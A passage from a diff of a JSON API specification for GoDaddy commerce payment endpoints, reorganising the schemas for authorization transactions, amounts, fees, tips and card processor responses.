"uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } - } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "processorType": { - "type": "string" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "processorType" - ] + "title": "Tip Amount", + "type": "object" }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment" - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidAuthorizationByRefNum", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionRefNum}", - "summary": "Void Authorization", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionRefNum", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Request was successful" - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getAuthorizationById", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations/{transactionId}", - "summary": "Get Authorization", - "description": "Retrieve the information of the authorization by the transaction ID.", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "transactionId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - } - ], - "responses": { - "200": { - "description": "Authorization Found", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "authorizations": { + "description": "Authorizations for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", + "description": "Represents transaction against a payment", "properties": { "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "required": [ - "amount", - "type" - ] + "propertyName": "amountType" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - 